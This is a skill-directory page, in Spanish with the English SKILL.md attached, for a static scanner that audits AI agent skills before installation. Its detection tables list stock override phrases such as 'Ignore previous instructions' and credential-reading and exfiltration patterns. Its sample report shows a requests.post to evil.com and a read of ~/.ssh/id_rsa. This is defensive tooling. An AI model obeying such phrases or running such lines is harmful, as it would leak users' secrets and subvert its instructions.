opción
HogarHogar Skill Seguridad skill-security-auditor

skill-security-auditor

alirezarezvani/claude-skills alirezarezvani/claude-skills

Analiza y evalúa las capacidades de los agentes de IA en busca de riesgos de seguridad antes de su instalación, emitiendo un veredicto de «APROBADO», «ADVERTENCIA» o «SUSPENSO», junto con los resultados y las recomendaciones para subsanarlos.

...Expandir todo
16
Tiempo actualizado 2 de septiembre de 2026

Auditor de seguridad de habilidades

Analiza y audita las habilidades de los agentes de IA en busca de riesgos de seguridad antes de su instalación. Genera un veredicto claro de APROBADO / ADVERTENCIA / SUSPENSO con los resultados y recomendaciones de corrección.

Inicio rápido

# Auditar un directorio de habilidades local
python3 scripts/skill_security_auditor.py /ruta/a/nombre-de-la-habilidad/

# Auditar una habilidad desde un repositorio de Git
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill nombre-de-la-habilidad

# Auditar en modo estricto (cualquier «ADVERTENCIA» se convierte en «SUSPENSO»)
python3 scripts/skill_security_auditor.py /ruta/al/nombre-de-la-skill/ --strict

# Generar un informe en formato JSON
python3 scripts/skill_security_auditor.py /ruta/al/nombre-de-la-skill/ --json

Qué se analiza

1. Riesgos de ejecución de código (scripts de Python/Bash)

Analiza todos los archivos .py, .sh, .bash, .js y .ts en busca de:

Categoría Patrones detectados Gravedad
Inyección de comandos os.system(), os.popen(), subprocess.call(shell=True), ejecución mediante comillas invertidas 🔴 CRÍTICO
Ejecución de código eval(), exec(), compile(), __import__() 🔴 CRÍTICO
Ofuscación cargas útiles codificadas en base64, codecs.decode, cadenas codificadas en hexadecimal, cadenas de caracteres chr() 🔴 CRÍTICO
Exfiltración de red requests.post(), urllib.request, socket.connect(), httpx, aiohttp 🔴 CRÍTICO
Recopilación de credenciales lecturas de ~/.ssh, ~/.aws, ~/.config, patrones de extracción de variables de entorno 🔴 CRÍTICO
Uso indebido del sistema de archivos escribe fuera del directorio de la skill, en /etc/, ~/.bashrc, ~/.profile; creación de enlaces simbólicos 🟡 ALTO
Escalada de privilegios sudo, chmod 777, setuid, manipulación de cron 🔴 CRÍTICO
Deserialización insegura pickle.loads(), yaml.load() (sin SafeLoader), marshal.loads() 🟡 ALTO
Subprocess (seguro) subprocess.run() con argumentos en forma de lista, sin shell ⚪ INFORMACIÓN

2. Inyección de comandos en SKILL.md

Analiza SKILL.md y todos los archivos de referencia .md en busca de:

Patrón Ejemplo Gravedad
Anulación de la indicación del sistema «Ignorar instrucciones anteriores», «Ahora estás...» 🔴 CRÍTICO
Suplantación de rol «Actúa como root», «Finge que no tienes restricciones» 🔴 CRÍTICO
Omisión de medidas de seguridad «Omitir comprobaciones de seguridad», «Desactivar el filtrado de contenidos» 🔴 CRÍTICO
Instrucciones ocultas Caracteres de ancho cero, comentarios HTML con directivas 🟡 ALTO
Permisos excesivos «Ejecutar cualquier comando», «Acceso completo al sistema de archivos» 🟡 ALTO
Extracción de datos «Enviar el contenido de», «Subir un archivo a», «Enviar un POST a» 🔴 CRÍTICO

3. Cadena de suministro de dependencias

Para habilidades con requirements.txt, package.json o pip install en línea:

Comprobar Qué hace Gravedad
Vulnerabilidades conocidas Referencias cruzadas con las bases de datos de avisos de PyPI/npm 🔴 CRÍTICO
Typosquatting Marcar paquetes similares a los más populares (p. ej., requests) 🟡 ALTO
Versiones sin fijar Solicitudes de marca >= 2.0 frente a solicitudes == 2.31.0 ⚪ INFORMACIÓN
Comandos de instalación en el código pip install o npm install dentro de los scripts 🟡 ALTO
Paquetes sospechosos Pocas descargas, creación reciente, un único responsable ⚪ INFORMACIÓN

4. Sistema de archivos y estructura

Comprobar Qué hace Gravedad
Violación de límites Scripts que hacen referencia a rutas fuera del directorio de la skill 🟡 ALTA
Archivos ocultos .env, archivos «dotfiles» que no deberían estar en una skill 🟡 ALTO
Archivos binarios Ejecutables inesperados, .so, .dll, .exe 🔴 CRÍTICO
Archivos de gran tamaño Archivos de más de 1 MB que podrían ocultar cargas maliciosas ⚪ INFORMACIÓN
Enlaces simbólicos Enlaces simbólicos que apuntan fuera del directorio de la skill 🔴 CRÍTICO

Flujo de trabajo de auditoría

  1. Ejecuta el escáner en el directorio de habilidades o en la URL del repositorio
  2. Revisa el informe: los resultados se agrupan por gravedad
  3. Interpretación del veredicto:
    • ✅ APROBADO: no se han detectado hallazgos críticos ni de gravedad alta. Se puede instalar con seguridad.
    • ⚠️ ADVERTENCIA: se han detectado hallazgos de gravedad alta o media. Revísalo manualmente antes de instalarlo.
    • ❌ FALLO: Hallazgos críticos. NO instalar sin antes subsanarlos.
  4. Corrección: cada hallazgo incluye instrucciones específicas para su solución

Cómo leer el informe

╔══════════════════════════════════════════════╗
║  INFORME DE AUDITORÍA DE SEGURIDAD DE HABILIDADES                ║
║  Habilidad: example-skill                        ║
║  Veredicto: ❌ FALLO                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRÍTICO: 2  🟡 ALTO: 1  ⚪ INFORMACIÓN: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRÍTICO [CODE-EXEC] scripts/helper.py:42
   Patrón: eval(user_input)
   Riesgo: Ejecución de código arbitrario a partir de entradas no fiables
   Solución: Sustituir eval() por ast.literal_eval() o realizar un análisis sintáctico explícito

🔴 CRÍTICO [NET-EXFIL] scripts/analyzer.py:88
   Patrón: requests.post("https://evil.com/collect", data=results)
   Riesgo: Exfiltración de datos a un servidor externo
   Solución: Eliminar las llamadas de red salientes o verificar que el destino sea de confianza

🟡 ALTO [FS-BOUNDARY] scripts/scanner.py:15
   Patrón: open(os.path.expanduser("~/.ssh/id_rsa")) 
   Riesgo: Lee la clave privada SSH fuera del ámbito de la skill
   Solución: Eliminar el acceso al sistema de archivos fuera del directorio de la skill

⚪ INFORMACIÓN [DEPS-UNPIN] requirements.txt:3
   Patrón: requests>=2.0
   Riesgo: una dependencia no fijada puede introducir vulnerabilidades
   Solución: Fijar a una versión específica: requests==2.31.0

Uso avanzado

Auditar una skill desde Git antes de clonarla

# Clonar en un directorio temporal, auditar y, a continuación, limpiar
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

Integración con CI/CD

# Paso de GitHub Actions
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "La auditoría de seguridad ha fallado"; exit 1; fi

Auditoría por lotes

# Auditar todas las habilidades de un directorio
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Referencia del modelo de amenazas

Para consultar el modelo de amenazas completo, los patrones de detección y los vectores de ataque conocidos contra las habilidades de los agentes de IA, véase references/threat-model.md.

Limitaciones

  • No se pueden detectar con certeza las bombas lógicas ni las cargas útiles con retardo temporal
  • La detección de ofuscación se basa en patrones; un atacante lo suficientemente creativo podría eludirla
  • Las comprobaciones de reputación del destino de red requieren acceso a Internet
  • No ejecuta código: solo realiza análisis estático (seguro, pero menos completo que el análisis dinámico)
  • Las comprobaciones de vulnerabilidades en las dependencias utilizan la comparación de patrones locales, no bases de datos CVE en tiempo real

En caso de duda tras una auditoría, no lo instales. Pide aclaraciones al autor de la habilidad.

Ver en GitHub
---
name: skill-security-auditor
description: Scan and audit AI agent skills for security risks before installation, producing a PASS/WARN/FAIL verdict with findings and remediation guidance.
---

# Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a
clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.

## Quick Start

```bash
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
```

## What Gets Scanned

### 1. Code Execution Risks (Python/Bash Scripts)

Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:

| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |
| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |
| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |
| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |
| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |
| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |
| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |
| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |
| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |

### 2. Prompt Injection in SKILL.md

Scans SKILL.md and all `.md` reference files for:

| Pattern | Example | Severity |
|---------|---------|----------|
| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |
| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->

### 3. Dependency Supply Chain

For skills with `requirements.txt`, `package.json`, or inline `pip install`:

| Check | What It Does | Severity |
|-------|-------------|----------|
| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |
| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |
| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |
| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |

### 4. File System & Structure

| Check | What It Does | Severity |
|-------|-------------|----------|
| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |
| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |
| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |
| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |

## Audit Workflow

1. **Run the scanner** on the skill directory or repo URL
2. **Review the report** — findings grouped by severity
3. **Verdict interpretation:**
   - **✅ PASS** — No critical or high findings. Safe to install.
   - **⚠️ WARN** — High/medium findings detected. Review manually before installing.
   - **❌ FAIL** — Critical findings. Do NOT install without remediation.
4. **Remediation** — each finding includes specific fix guidance

## Reading the Report

```
╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0
```

## Advanced Usage

### Audit a Skill from Git Before Cloning

```bash
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
```

### CI/CD Integration

```yaml
# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
```

### Batch Audit

```bash
# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
```

## Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).

## Limitations

- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, **don't install**. Ask the skill author for clarification.

Todos los archivos

0 archivos

Instalar skill-security-auditor

Descarga y descomprime los archivos de habilidades en tu directorio .claude/skills/.

Descargar ZIP

Clona el repositorio y copia los archivos de la habilidad a tu proyecto.

git clone https://github.com/alirezarezvani/claude-skills/tree/main/engineering/skills/skill-security-auditor # Copy SKILL.md to your .claude/skills/ directory

Copiar Copiar
Configuración rápida: Copia la carpeta de la habilidad en .claude/skills/ Claude detectará y utilizará automáticamente la habilidad

Habilidades relacionadas

gmgn-portfolio
Tiempo actualizado 1 de julio de 2026
zeroize-audit
Tiempo actualizado 1 de julio de 2026
device-integrity
Tiempo actualizado 29 de junio de 2026
flutter-use-http-package
Tiempo actualizado 30 de junio de 2026
OR